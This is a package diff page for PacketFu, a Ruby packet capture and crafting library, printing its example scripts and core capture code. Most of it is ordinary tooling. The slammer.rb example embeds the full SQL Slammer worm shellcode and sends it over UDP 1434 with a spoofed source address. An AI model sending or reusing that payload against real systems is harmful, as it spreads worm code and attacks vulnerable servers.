packetfu 1.1.2 → 1.1.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (67) hide show
  1. data/.gitignore +3 -0
  2. data/INSTALL.rdoc +40 -0
  3. data/LICENSE.txt +25 -0
  4. data/examples/100kpackets.rb +41 -0
  5. data/examples/ackscan.rb +38 -0
  6. data/examples/arp.rb +60 -0
  7. data/examples/arphood.rb +59 -0
  8. data/examples/dissect_thinger.rb +22 -0
  9. data/examples/ethernet.rb +10 -0
  10. data/examples/examples.rb +3 -0
  11. data/examples/ids.rb +4 -0
  12. data/examples/idsv2.rb +6 -0
  13. data/examples/new-simple-stats.rb +52 -0
  14. data/examples/oui.txt +84177 -0
  15. data/examples/packetfu-shell.rb +113 -0
  16. data/examples/simple-sniffer.rb +40 -0
  17. data/examples/simple-stats.rb +50 -0
  18. data/examples/slammer.rb +33 -0
  19. data/examples/uniqpcap.rb +15 -0
  20. data/lib/packetfu.rb +147 -0
  21. data/lib/packetfu/capture.rb +169 -0
  22. data/lib/packetfu/config.rb +58 -0
  23. data/lib/packetfu/inject.rb +65 -0
  24. data/lib/packetfu/packet.rb +533 -0
  25. data/lib/packetfu/pcap.rb +594 -0
  26. data/lib/packetfu/protos/arp.rb +268 -0
  27. data/lib/packetfu/protos/eth.rb +296 -0
  28. data/lib/packetfu/protos/hsrp.rb +206 -0
  29. data/lib/packetfu/protos/icmp.rb +179 -0
  30. data/lib/packetfu/protos/invalid.rb +55 -0
  31. data/lib/packetfu/protos/ip.rb +378 -0
  32. data/lib/packetfu/protos/ipv6.rb +250 -0
  33. data/lib/packetfu/protos/tcp.rb +1127 -0
  34. data/lib/packetfu/protos/udp.rb +240 -0
  35. data/lib/packetfu/structfu.rb +294 -0
  36. data/lib/packetfu/utils.rb +194 -0
  37. data/lib/packetfu/version.rb +50 -0
  38. data/packetfu.gemspec +21 -0
  39. data/setup.rb +1586 -0
  40. data/test/all_tests.rb +41 -0
  41. data/test/ethpacket_spec.rb +74 -0
  42. data/test/packet_spec.rb +73 -0
  43. data/test/packet_subclasses_spec.rb +13 -0
  44. data/test/packetfu_spec.rb +90 -0
  45. data/test/ptest.rb +16 -0
  46. data/test/sample-ipv6.pcap +0 -0
  47. data/test/sample.pcap +0 -0
  48. data/test/sample2.pcap +0 -0
  49. data/test/sample_hsrp_pcapr.cap +0 -0
  50. data/test/structfu_spec.rb +335 -0
  51. data/test/tcp_spec.rb +101 -0
  52. data/test/test_arp.rb +135 -0
  53. data/test/test_eth.rb +91 -0
  54. data/test/test_hsrp.rb +20 -0
  55. data/test/test_icmp.rb +54 -0
  56. data/test/test_inject.rb +31 -0
  57. data/test/test_invalid.rb +28 -0
  58. data/test/test_ip.rb +69 -0
  59. data/test/test_ip6.rb +68 -0
  60. data/test/test_octets.rb +37 -0
  61. data/test/test_packet.rb +174 -0
  62. data/test/test_pcap.rb +209 -0
  63. data/test/test_structfu.rb +112 -0
  64. data/test/test_tcp.rb +327 -0
  65. data/test/test_udp.rb +73 -0
  66. data/test/vlan-pcapr.cap +0 -0
  67. metadata +85 -6
@@ -0,0 +1,113 @@
1
+ # == Synopsis
2
+ #
3
+ # packetfu-shell.rb is intended for IRB consumption, and providing an
4
+ # interactive interface for PacketFu experimentation.
5
+ #
6
+ # == Usage
7
+ #
8
+ # irb -r packetfu-shell.rb
9
+ # or
10
+ # sudo irb -r packetfu-shell.rb
11
+ #
12
+ # If run as root, packet capturing/injecting is available, which includes
13
+ # access to Utils.whoami?
14
+ #
15
+ # Once loaded, the PacketFu module is mixed in, and Utils commands are
16
+ # aliased to the PacketFu module proper. Sessions look something like
17
+ # this:
18
+ #
19
+ # == Example
20
+ #
21
+ # irb(main):001:0> pkt = TCPPacket.new
22
+ # => 00 1a c5 00 00 00 00 1a c5 00 00 00 08 00 45 00 ..............E.
23
+ # 00 28 62 9d 00 00 ff 06 59 33 00 00 00 00 00 00 .(b.....Y3......
24
+ # 00 00 d4 fb 00 00 18 c6 32 86 00 00 00 00 50 00 ........2.....P.
25
+ # 40 00 4f 9d 00 00 @.O...
26
+ # irb(main):002:0> pkt.payload="I am totally up in your stack, twiddling your bits."
27
+ # => "I am totally up in your stack, twiddling your bits."
28
+ # irb(main):003:0> pkt.ip_saddr="1.2.3.4"
29
+ # => "1.2.3.4"
30
+ # irb(main):004:0> pkt.tcp_sport=13013
31
+ # => 13013
32
+ # irb(main):005:0> pkt.tcp_dport=808
33
+ # => 808
34
+ # irb(main):006:0> pkt.recalc
35
+ # => {"eth_src"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}, "body"=>{"ip_tos"=>0, "ip_src"=>{"o1"=>1, "o2"=>2, "o3"=>3, "o4"=>4}, "body"=>{"tcp_ecn"=>{"c"=>0, "n"=>0, "e"=>0}, "tcp_dst"=>808, "tcp_win"=>16384, "body"=>"I am totally up in your stack, twiddling your bits.", "tcp_flags"=>{"fin"=>0, "psh"=>0, "syn"=>0, "rst"=>0, "ack"=>0, "urg"=>0}, "tcp_hlen"=>5, "tcp_ack"=>0, "tcp_urg"=>0, "tcp_seq"=>415642246, "tcp_sum"=>51184, "tcp_reserved"=>0, "tcp_opts"=>"", "tcp_src"=>13013}, "ip_dst"=>{"o1"=>0, "o2"=>0, "o3"=>0, "o4"=>0}, "ip_frag"=>0, "ip_proto"=>6, "ip_hl"=>5, "ip_len"=>91, "ip_sum"=>21754, "ip_id"=>25245, "ip_v"=>4, "ip_ttl"=>255}, "eth_proto"=>2048, "eth_dst"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}}
36
+ # irb(main):007:0> pkt.to_f('/tmp/tcp-example.pcap')
37
+ # => ["/tmp/tcp-example.pcap", 145, 1, 1220048597, 1]
38
+ # irb(main):008:0> puts pkt.inspect_hex(2)
39
+ # 32 d5 03 28 7c 50 1f 01 00 00 00 00 50 00 40 00 2..(|P......P.@.
40
+ # 77 eb 00 00 49 20 61 6d 20 74 6f 74 61 6c 6c 79 w...I am totally
41
+ # 20 75 70 20 69 6e 20 79 6f 75 72 20 73 74 61 63 up in your stac
42
+ # 6b 2c 20 74 77 69 64 64 6c 69 6e 67 20 79 6f 75 k, twiddling you
43
+ # 72 20 62 69 74 73 2e r bits.
44
+ # => nil
45
+
46
+ $: << File.expand_path(File.dirname(__FILE__) + "/../lib/")
47
+ require 'examples'
48
+ require 'packetfu'
49
+
50
+ module PacketFu
51
+ def whoami?(args={})
52
+ Utils.whoami?(args)
53
+ end
54
+ def arp(arg)
55
+ Utils.arp(arg)
56
+ end
57
+ end
58
+
59
+ include PacketFu
60
+
61
+ # Draws a picture. Includes a nunchuck, so you know that it's serious.
62
+ # I /think/ this is how you're supposed to spell it in a kana charset.
63
+ # http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict
64
+ #
65
+ def packetfu_ascii_art
66
+ puts <<EOM
67
+ _______ _______ _______ _ _______ _________ _______
68
+ ( ____ )( ___ )( ____ \\| \\ /\\( ____ \\\\__ __/( ____ \\|\\ /|
69
+ | ( )|| ( ) || ( \\/| \\ / /| ( \\/ ) ( | ( \\/| ) ( |
70
+ | (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |
71
+ | _____)| ___ || | | _ ( | __) | | | __) | | | |
72
+ | ( | ( ) || | | ( \\ \\ | ( | | | ( | | | |
73
+ | ) | ) ( || (____/\\| / \\ \\| (____/\\ | | | ) | (___) |
74
+ |/ |/ \\|(_______/|_/ \\/(_______/ )_( |/ (_______)
75
+ ____________________________ ____________________________
76
+ ( ) ( )
77
+ | 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |
78
+ | )( )( )( )( )( |
79
+ (____________________________) (____________________________)
80
+ PacketFu
81
+ a mid-level packet manipulation library for ruby
82
+
83
+ EOM
84
+ end
85
+
86
+ @pcaprub_loaded = PacketFu.pcaprub_loaded?
87
+ # Displays a helpful banner.
88
+ def banner
89
+ packetfu_ascii_art
90
+ puts ">>> PacketFu Shell #{PacketFu.version}."
91
+ if Process.euid.zero? && @pcaprub_loaded
92
+ puts ">>> Use $packetfu_default.config for salient networking details."
93
+ print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
94
+ puts " Gateway: %s" % $packetfu_default.eth_daddr
95
+ print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
96
+ print " " * 13
97
+ puts "Iface: %s" % [($packetfu_default.iface)]
98
+ puts ">>> Packet capturing/injecting enabled."
99
+ else
100
+ print ">>> Packet capturing/injecting disabled. "
101
+ puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
102
+ end
103
+ puts "<>" * 36
104
+ end
105
+
106
+ # Silly wlan0 workaround
107
+ begin
108
+ $packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@pcaprub_loaded && Process.euid.zero?)
109
+ rescue RuntimeError
110
+ $packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@pcaprub_loaded && Process.euid.zero?)
111
+ end
112
+
113
+ banner
@@ -0,0 +1,40 @@
1
+ #!/usr/bin/env ruby
2
+ require 'examples'
3
+ require 'packetfu'
4
+
5
+ puts "Simple sniffer for PacketFu #{PacketFu.version}"
6
+ include PacketFu
7
+ iface = ARGV[0] || "eth0"
8
+
9
+ def sniff(iface)
10
+ cap = Capture.new(:iface => iface, :start => true)
11
+ cap.stream.each do |p|
12
+ pkt = Packet.parse p
13
+ if pkt.is_ip?
14
+ next if pkt.ip_saddr == Utils.ifconfig[:ip_saddr]
15
+ packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last]
16
+ puts "%-15s -> %-15s %-4d %s" % packet_info
17
+ end
18
+ end
19
+ end
20
+
21
+ sniff(iface)
22
+
23
+ =begin
24
+ Results look like this:
25
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
26
+ 212.233.158.76 -> 192.168.11.70 110 UDP
27
+ 88.174.164.147 -> 192.168.11.70 110 UDP
28
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
29
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
30
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
31
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
32
+ 8.8.8.8 -> 192.168.11.70 143 UDP
33
+ 41.237.73.186 -> 192.168.11.70 60 TCP
34
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
35
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
36
+ 8.8.8.8 -> 192.168.11.70 143 UDP
37
+ 8.8.8.8 -> 192.168.11.70 128 UDP
38
+ 8.8.8.8 -> 192.168.11.70 187 UDP
39
+ 24.45.247.232 -> 192.168.11.70 70 TCP
40
+ =end
@@ -0,0 +1,50 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ # Simple-stats.rb takes a pcap file, and gives some simple
4
+ # stastics on the protocols found. It's mainly used to
5
+ # demonstrate a method to parse pcap files.
6
+ #
7
+ # XXX: DO NOT USE THIS METHOD TO READ PCAP FILES.
8
+ #
9
+ # See new-simple-stats.rb for an example of the streaming
10
+ # parsing method.
11
+
12
+ require 'examples' # For path setting slight-of-hand
13
+ require 'packetfu'
14
+
15
+ # Takes a file name, parses the packets, and records the packet
16
+ # type based on its PacketFu class.
17
+ def count_packet_types(file)
18
+ file = File.open(file) {|f| f.read}
19
+ stats = {}
20
+ count = 0
21
+ pcapfile = PacketFu::PcapPackets.new
22
+ pcapfile.read(file)
23
+ pcapfile.each do |p|
24
+ # Now it's a PacketFu packet struct.
25
+ pkt = PacketFu::Packet.parse(p.data)
26
+ kind = pkt.class.to_s.split("::").last
27
+ if stats[kind]
28
+ stats[kind] += 1
29
+ else
30
+ stats[kind] = 0
31
+ end
32
+ count += 1
33
+ break if count >= 1_000
34
+ end
35
+ stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
36
+ end
37
+
38
+ if File.readable?(infile = (ARGV[0] || 'in.pcap'))
39
+ title = "Packets by packet type in '#{infile}'"
40
+ puts title
41
+ puts "-" * title.size
42
+ count_packet_types(infile)
43
+ else
44
+ raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
45
+ end
46
+
47
+
48
+
49
+
50
+
@@ -0,0 +1,33 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ # Fires off a slammer packet to an unsuspecting target. This code does not
4
+ # break real devices! (To do that, you'll need to fix up the targetting)
5
+ target = ARGV[0]
6
+ raise RuntimeError, "Need a target" unless target
7
+ action = ARGV[1]
8
+ raise RuntimeError, "Need an action. Try file or your interface." unless action
9
+
10
+ require 'packetfu'
11
+ include PacketFu
12
+
13
+ slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363<a\331\377\213E\264\215\f@\215\024\210\301\342\004\001\302\301" + "\342\b)\302\215\004\220\001\330\211E\264j\020\215E\260P1\311Qf\201\361x\001Q\215E\003P\213E\254P\377\326" + "\353\312"
14
+
15
+ def rand_source_ip
16
+ [rand(0xffffffff)].pack("N")
17
+ end
18
+
19
+ kill_packet = UDPPacket.new
20
+ kill_packet.eth_daddr = "00:1b:63:aa:bb:cc"
21
+ kill_packet.ip_daddr = ARGV[0]
22
+ kill_packet.ip_src.read(rand_source_ip)
23
+ kill_packet.udp_dst = 1434
24
+ kill_packet.recalc
25
+ kill_packet.payload = slammer
26
+
27
+ if action == 'file'.downcase
28
+ puts kill_packet.to_f
29
+ else
30
+ puts kill_packet.to_w(action.downcase)
31
+ end
32
+
33
+
@@ -0,0 +1,15 @@
1
+ # Uniqpcap.rb takes a pcap file, strips out duplicate packets, and
2
+ # writes them to a file.
3
+ #
4
+ # The duplicate pcap problem is common when I'm capturing
5
+ # traffic to/from a VMWare image, for some reason.
6
+ #
7
+ # Currently, the timestamp information is lost due to PcapRub's
8
+ # file read. For me, this isn't a big deal. Future versions
9
+ # will deal with timestamps correctly.
10
+ require 'examples' # For path setting slight-of-hand
11
+ require 'packetfu'
12
+
13
+ in_array = PacketFu::Read.f2a(:file => ARGV[0])
14
+ puts PacketFu::Write.a2f(:file => "uniq-" + ARGV[0], :arr => in_array.uniq).inspect
15
+
data/lib/packetfu.rb ADDED
@@ -0,0 +1,147 @@
1
+
2
+ # :title: PacketFu Documentation
3
+ # :main: README
4
+
5
+ cwd = File.expand_path(File.dirname(__FILE__))
6
+
7
+ $: << cwd
8
+
9
+ require File.join(cwd,"packetfu","structfu")
10
+ require "ipaddr"
11
+ require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/
12
+
13
+ module PacketFu
14
+
15
+ # Picks up all the protocols defined in the protos subdirectory
16
+ def self.require_protos(cwd)
17
+ protos_dir = File.join(cwd, "packetfu", "protos")
18
+ Dir.new(protos_dir).each do |fname|
19
+ next unless fname[/\.rb$/]
20
+ begin
21
+ require File.join(protos_dir,fname)
22
+ rescue
23
+ warn "Warning: Could not load `#{fname}'. Skipping."
24
+ end
25
+ end
26
+ end
27
+
28
+ # Deal with Ruby's encoding by ignoring it.
29
+ def self.force_binary(str)
30
+ str.force_encoding "binary" if str.respond_to? :force_encoding
31
+ end
32
+
33
+ # Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
34
+ @byte_order = :little
35
+
36
+ # Checks if pcaprub is loaded correctly.
37
+ @pcaprub_loaded = false
38
+
39
+ # PacketFu works best with Pcaprub version 0.8-dev (at least)
40
+ # The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
41
+ def self.pcaprub_platform_require
42
+ begin
43
+ require 'pcaprub'
44
+ rescue LoadError
45
+ return false
46
+ end
47
+ @pcaprub_loaded = true
48
+ end
49
+
50
+ pcaprub_platform_require
51
+
52
+ if @pcaprub_loaded
53
+ if Pcap.version !~ /[0-9]\.[7-9][0-9]?(-dev)?/ # Regex for 0.7-dev and beyond.
54
+ @pcaprub_loaded = false # Don't bother with broken versions
55
+ raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
56
+ end
57
+ require "packetfu/capture"
58
+ require "packetfu/inject"
59
+ end
60
+
61
+ # Returns the status of pcaprub
62
+ def self.pcaprub_loaded?
63
+ @pcaprub_loaded
64
+ end
65
+
66
+ # Returns an array of classes defined in PacketFu
67
+ def self.classes
68
+ constants.map { |const| const_get(const) if const_get(const).kind_of? Class}.compact
69
+ end
70
+
71
+ # Adds the class to PacketFu's list of packet classes -- used in packet parsing.
72
+ def self.add_packet_class(klass)
73
+ raise "Need a class" unless klass.kind_of? Class
74
+ if klass.name !~ /[A-Za-z0-9]Packet/
75
+ raise "Packet classes should be named 'ProtoPacket'"
76
+ end
77
+ @packet_classes ||= []
78
+ @packet_classes << klass
79
+ @packet_classes.sort! {|x,y| x.name <=> y.name}
80
+ end
81
+
82
+ # Presumably, there may be a time where you'd like to remove a packet class.
83
+ def self.remove_packet_class(klass)
84
+ raise "Need a class" unless klass.kind_of? Class
85
+ @packet_classes ||= []
86
+ @packet_classes.delete klass
87
+ @packet_classes
88
+ end
89
+
90
+ # Returns an array of packet classes
91
+ def self.packet_classes
92
+ @packet_classes || []
93
+ end
94
+
95
+ # Returns an array of packet types by packet prefix.
96
+ def self.packet_prefixes
97
+ return [] unless @packet_classes
98
+ @packet_classes.map {|p| p.to_s.split("::").last.to_s.downcase.gsub(/packet$/,"")}
99
+ end
100
+
101
+ # The current inspect style. One of :hex, :dissect, or :default
102
+ # Note that :default means Ruby's default, which is usually
103
+ # far too long to be useful.
104
+ def self.inspect_style
105
+ @inspect_style ||= :dissect
106
+ end
107
+
108
+ # Setter for PacketFu's @inspect_style
109
+ def self.inspect_style=(arg)
110
+ @inspect_style = case arg
111
+ when :hex, :pretty
112
+ :hex
113
+ when :dissect, :verbose
114
+ :dissect
115
+ when :default, :ugly
116
+ :default
117
+ else
118
+ :dissect
119
+ end
120
+ end
121
+
122
+ # Switches inspect styles in a round-robin fashion between
123
+ # :dissect, :default, and :hex
124
+ def toggle_inspect
125
+ case @inspect_style
126
+ when :hex, :pretty
127
+ @inspect_style = :dissect
128
+ when :dissect, :verbose
129
+ @inspect_style = :default
130
+ when :default, :ugly
131
+ @inspect_style = :hex
132
+ else
133
+ @inspect_style = :dissect
134
+ end
135
+ end
136
+
137
+
138
+ end
139
+
140
+ require File.join(cwd,"packetfu","version")
141
+ require File.join(cwd,"packetfu","pcap")
142
+ require File.join(cwd,"packetfu","packet")
143
+ PacketFu.require_protos(cwd)
144
+ require File.join(cwd,"packetfu","utils")
145
+ require File.join(cwd,"packetfu","config")
146
+
147
+ # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby
@@ -0,0 +1,169 @@
1
+ module PacketFu
2
+
3
+ # The Capture class is used to construct PcapRub objects in order to collect
4
+ # packets from an interface.
5
+ #
6
+ # This class requires PcapRub. In addition, you will need root (or root-like) privileges
7
+ # in order to capture from the interface.
8
+ #
9
+ # Note, on some wireless cards, setting :promisc => true will disable capturing.
10
+ #
11
+ # == Example
12
+ #
13
+ # # Typical use
14
+ # cap = PacketFu::Capture.new(:iface => 'eth0', :promisc => true)
15
+ # cap.start
16
+ # sleep 10
17
+ # cap.save
18
+ # first_packet = cap.array[0]
19
+ #
20
+ # # Tcpdump-like use
21
+ # cap = PacketFu::Capture.new(:start => true)
22
+ # cap.show_live(:save => true, :filter => 'tcp and not port 22')
23
+ #
24
+ # == See Also
25
+ #
26
+ # Read, Write
27
+ class Capture
28
+ attr_accessor :array, :stream # Leave these public and open.
29
+ attr_reader :iface, :snaplen, :promisc, :timeout # Cant change after the init.
30
+
31
+ def initialize(args={})
32
+ @array = [] # Where the packet array goes.
33
+ @stream = [] # Where the stream goes.
34
+ @iface = (args[:iface] || ENV['IFACE'] || Pcap.lookupdev || "lo").to_s
35
+ @snaplen = args[:snaplen] || 0xffff
36
+ @promisc = args[:promisc] || false # Sensible for some Intel wifi cards
37
+ @timeout = args[:timeout] || 1
38
+
39
+ setup_params(args)
40
+ end
41
+
42
+ # Used by new().
43
+ def setup_params(args={})
44
+ filter = args[:filter] # Not global; filter criteria can change.
45
+ start = args[:start] || false
46
+ capture if start
47
+ bpf(:filter=>filter) if filter
48
+ end
49
+
50
+ # capture() initializes the @stream varaible. Valid arguments are:
51
+ #
52
+ # :filter
53
+ # Provide a bpf filter to enable for the capture. For example, 'ip and not tcp'
54
+ # :start
55
+ # When true, start capturing packets to the @stream variable. Defaults to true
56
+ def capture(args={})
57
+ if Process.euid.zero?
58
+ filter = args[:filter]
59
+ start = args[:start] || true
60
+ if start
61
+ begin
62
+ @stream = Pcap.open_live(@iface,@snaplen,@promisc,@timeout)
63
+ rescue RuntimeError
64
+ $stderr.print "Are you sure you're root? Error: "
65
+ raise
66
+ end
67
+ bpf(:filter=>filter) if filter
68
+ else
69
+ @stream = []
70
+ end
71
+ @stream
72
+ else
73
+ raise RuntimeError,"Not root, so can't capture packets. Error: "
74
+ end
75
+ end
76
+
77
+ # start() is equivalent to capture().
78
+ def start(args={})
79
+ capture(args)
80
+ end
81
+
82
+ # clear() clears the @stream and @array variables, essentially starting the
83
+ # capture session over. Valid arguments are:
84
+ #
85
+ # :array
86
+ # If true, the @array is cleared.
87
+ # :stream
88
+ # If true, the @stream is cleared.
89
+ def clear(args={})
90
+ array = args[:array] || true
91
+ stream = args[:stream] || true
92
+ @array = [] if array
93
+ @stream = [] if stream
94
+ end
95
+
96
+ # bpf() sets a bpf filter on a capture session. Valid arugments are:
97
+ #
98
+ # :filter
99
+ # Provide a bpf filter to enable for the capture. For example, 'ip and not tcp'
100
+ def bpf(args={})
101
+ filter = args[:filter]
102
+ capture if @stream.class == Array
103
+ @stream.setfilter(filter)
104
+ end
105
+
106
+ # wire_to_array() saves a packet stream as an array of binary strings. From here,
107
+ # packets may accessed by other functions. Note that the wire_to_array empties
108
+ # the stream, so multiple calls will append new packets to @array.
109
+ # Valid arguments are:
110
+ #
111
+ # :filter
112
+ # Provide a bpf filter to apply to packets moving from @stream to @array.
113
+ def wire_to_array(args={})
114
+ filter = args[:filter]
115
+ bpf(:filter=>filter) if filter
116
+
117
+ while this_pkt = @stream.next
118
+ @array << this_pkt
119
+ end
120
+ @array.size
121
+ end
122
+
123
+ # next() exposes the Stream object's next method to the outside world.
124
+ def next
125
+ return @stream.next
126
+ end
127
+
128
+ # w2a() is a equivalent to wire_to_array()
129
+ def w2a(args={})
130
+ wire_to_array(args)
131
+ end
132
+
133
+ # save() is a equivalent to wire_to_array()
134
+ def save(args={})
135
+ wire_to_array(args)
136
+ end
137
+
138
+ # show_live() is a method to capture packets and display peek() data to stdout. Valid arguments are:
139
+ #
140
+ # :filter
141
+ # Provide a bpf filter to captured packets.
142
+ # :save
143
+ # Save the capture in @array
144
+ # :verbose
145
+ # TODO: Not implemented yet; do more than just peek() at the packets.
146
+ # :quiet
147
+ # TODO: Not implemented yet; do less than peek() at the packets.
148
+ def show_live(args={})
149
+ filter = args[:filter]
150
+ save = args[:save]
151
+ verbose = args[:verbose] || args[:v] || false
152
+ quiet = args[:quiet] || args[:q] || false # Setting q and v doesn't make a lot of sense but hey.
153
+
154
+ # Ensure the capture's started.
155
+ if @stream.class == Array
156
+ capture
157
+ end
158
+
159
+ @stream.setfilter(filter) if filter
160
+ while true
161
+ @stream.each do |pkt|
162
+ puts Packet.parse(pkt).peek
163
+ @array << pkt if args[:save]
164
+ end
165
+ end
166
+ end
167
+
168
+ end
169
+ end